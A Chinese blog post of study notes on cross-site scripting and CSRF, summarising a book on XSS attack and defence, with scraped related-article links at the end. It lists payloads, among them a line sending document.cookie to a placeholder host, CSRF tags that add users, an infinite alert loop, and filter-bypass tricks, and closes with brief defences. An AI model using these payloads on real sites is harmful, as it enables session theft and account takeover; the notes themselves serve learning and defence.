XSS学习笔记
本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结
常见的XSS攻击主要用于
1.网络钓鱼,盗用用户账号
2.窃取cookies 非httponly情况下,读取document.cookie
通过xss注入读取document.cookie并将cookie信息记录到远程服务器,然后使用桂林老兵cookie欺骗工具与服务器建立绘画
document.write(<img src=http://xx.com/cookie.aspx?cookie='+document.cookie+'/>)
3.劫持用户浏览器会话(xss-proxy)
利用当前用户的会话,通过ajax请求,指定的操作页面,完成某种操作,比如添加管理员来提高权限;此种方式需要事先熟悉需要攻击网站的请求流程以及相关请求参数
4.强制挂广告
5.页面挂马
6.CSRF 跨站请求伪造 利用客户会话携带cookie访问漏洞平台的操作
常见形式<img src=http://www.xxx.com/adduser?username=/>
<script src="http://www.xxx.com/adduser?username=">
<iframe src="http://www.xxx.com/adduser?username="></iframe>
xmlhttp对象
攻击手段,预先分析漏洞平台的参数请求信息,构造expliot
http://www.xxx.com/adduser?username=xxxx
7.制作蠕虫病毒
8.获取客户端信息,用户浏览历史,ip
9dos/ddos攻击
通过注入恶意代码,劫持用户持续不断请求某服务器
<script>for(;;)alert('xss')</script>
反射性XSS
通过用户点击特定URL执行跨站脚本
持久性XSS
将可以脚本存储到客户端或服务器数据库,用户浏览器访问时执行
恶意脚本的执行途径
1.document.write()
2.后台直接绑定未经过滤的变量到前台
3.doc.InnerHtml直接赋值未经过滤的html片段 <img src=javascript:alert(/xxx/)/>
4.将包含恶意js代码的html文件伪装成图片,IE浏览器打开是利用IE浏览器的嗅探机制(ie浏览器时根据文件内容判断执行方式的,其他浏览器根据minetype和文件后缀选择执行方式)的特性,执行恶意代码
5.outlookexpress等邮件客户端软件,发送含有恶意js代码的邮件,收件人打开即中招
6.flash的swf文件制作时,加入geturl(javascript:alert(0))等恶意代码,页面引用swf文件时,中招
7.pdf文件制作时加入恶意js脚本, 代开引用该pdf文件的页面是,中招
8.MHTML 通过将恶意代码base64 编码,加入到MHTML文档中
xss的表现形式
1.利用<>标记注射html/javascript
2.利用html标签属性执行xss,很多html标记属性支持javascript:[code]
<table background="javascript:alert(/xss/)"></table>
<img src=javascript:alert(/xss/) />
3.空格,回车,Tab绕过限制
<img src='javas cript:alert(/xss/)'/>
4.对标签属性值进行转码 html的属性值支持ASCII玛
<img src="javascript:alert(/xss/)"/>;
5利用DOM事件
<img src="#" onerror=alert(/xss/)/>
6.利用css执行恶意js
body{background-image:url("javascript:aert('xss')")}
body{background-image:expression(alert("xss"))}
然后通过link引用该样式文件,执行攻击
7.通过大小写绕过过滤规则
<iMG SrC="JavAScriPt:alert(0)"/>
8.利用字符编码
javascript:alert('xss')进行10进制转码为jav........
<img scr="jav........"/>
9.eval()执行16进制字符串
eval("\x61\x6c\x65....")
10.windows.location.hash 的利用
location.hash获取页面标签的值(页面url里的#)
http://xxx.com/a.php?name="><script>eval(location.hash.substr(1))</script>#alert('xss')
注入的位置
document.URL
Location
document.referer
window.name
1.将危险代码编码后进行攻击
将js脚本转换成十进制或16进制作,Escape等编码为参数加入到路径中,以迷惑用户当伪装的参数输出到页面时,进行执行攻击脚本。
http://www.aa.com/search?q=<script>alert(/xxx/)</script>经16进制转换后伪装成:
http://www.aa.com/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%78%78%78%2f%29%3c%2f%73%63%72%69%70%74%3e
用户往往容易中招
json注入攻击
json中含有恶意代码name:<img src=javascript:alert(0)/>,然后执行eval()
常用工具
xss-proxy
XSS-SHELL
anehta 攻击力利器
livehttpheaders 调试http
tamper
fiddler http抓包调试工具
attackapi js攻击框架
beef
Acunetix Web Vulnerability Scanner XSS漏洞扫描工具
xssdetect
xss经常利用的漏洞
1.UTF-7BOMXSS
2.MHTML XSS
3.Data URIs XSS
4.CRLF
5.HACKjSON
CSRF防范手段
1.验证来源referer
2.验证码
3.使用token,加载页面时向页面隐藏于付一个加密的token,提交时客户端会提交此加密token,服务器端判断此token是否存在,并校验是否正确,不正确则是非法请求,可能是CSRF攻击
XSS防御技巧
过滤用户输入,输入编码,asp.net网站不要轻易关闭valicateRequest文章发布页面需要富文本时,使用微软的xss过滤框架HtmlSanitizationLibrary
XSS学习笔记的更多相关文章
- XSS学习笔记(四)-漏洞利用全过程
<script type="text/javascript" reload="1">setTimeout("window.location ...
- XSS学习笔记(一个)-点击劫持
所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...
- XSS学习笔记(五)-XSS防御
如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...
- 【转载】XSS学习笔记
XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...
- 2019-11-20:xss学习笔记
xxe漏洞防御使用开发语言提供的禁用外部实体的方法phplibxml_disable_entity_loader(true); 卢兰奇对象模型,bom由于现代浏览器实现了js交互性方面的相同方法和属性 ...
- xss学习笔记(萌新版)
xss简介 xss攻击者构造恶意信息然后在用户的浏览器上执行,主要分为反射性xss,这种主要是某个页面存在有漏洞的参数,然后填上恶意参数把整个链接发给用户或者管理员,他们点击了带有恶意参数的链接就会执 ...
- Web安全学习笔记 XSS上
Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...
- Web For Pentester 学习笔记 - XSS篇
XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给 ...
- ASP.Net开发基础温故知新学习笔记
申明:本文是学习2014版ASP.Net视频教程的学习笔记,仅供本人复习之用,也没有发布到博客园首页. 一.一般处理程序基础 (1)表单提交注意点: ①GET通过URL,POST通过报文体: ②需在H ...
随机推荐
- js实现trim()方法
在面向对象编程里面去除字符串左右空格是很容易的事,可以使用trim().ltrim() 或 rtrim(),在jquery里面使用$.trim()也可以轻松的实现.但是在js中却没有这个方法.下面的实 ...
- alsa-lib、alsa-utils移植
/************************************************************************** * alsa-lib.alsa-utils移植 ...
- Java之DelayQueue实际应用
在学习Java 多线程并发开发过程中,了解到DelayQueue类的主要作用:是一个无界的BlockingQueue,用于放置实现了Delayed接口的对象,其 中的对象只能在其到期时才能从队列中取走 ...
- Codeforces 148B: Escape
题目链接:http://codeforces.com/problemset/problem/148/B 题意:公主从龙的洞穴中逃跑,公主的速度为vp,龙的速度为vd,在公主逃跑时间t时,龙发现公主逃跑 ...
- python3 scrapy 使用selenium 模拟浏览器操作
零. 在用scrapy爬取数据中,有写是通过js返回的数据,如果我们每个都要获取,那就会相当麻烦,而且查看源码也看不到数据的,所以能不能像浏览器一样去操作他呢? 所以有了-> Selenium ...
- PHP安全性漫谈
最近刚做完两个PHP的网站项目,客户虽然没有安全性的相关需求,但是自己不能放过对自己的要求,何况对以后做电子商务的项目相当有帮助,呵呵,早准备早超生,经过查看PHP 帮助和相关资料~~~~ ...
- staltStack安装配置
http://www.cnblogs.com/kevingrace/p/5570290.html
- c# .net 编程方式修改环境变量无效的解决办法
无论是修改注册表方式(System\ControlSet001\Control\Session Manager\Environment"),还是用Environment.SetEnviron ...
- 让多个Fragment 切换时不重新实例化
转自:http://www.yrom.net/blog/2013/03/10/fragment-switch-not-restart/ 让多个Fragment 切换时不重新实例化 在项目中需要进行Fr ...
- Python基础之文件
输出一行一行的,效率更高 一个任务: 主函数: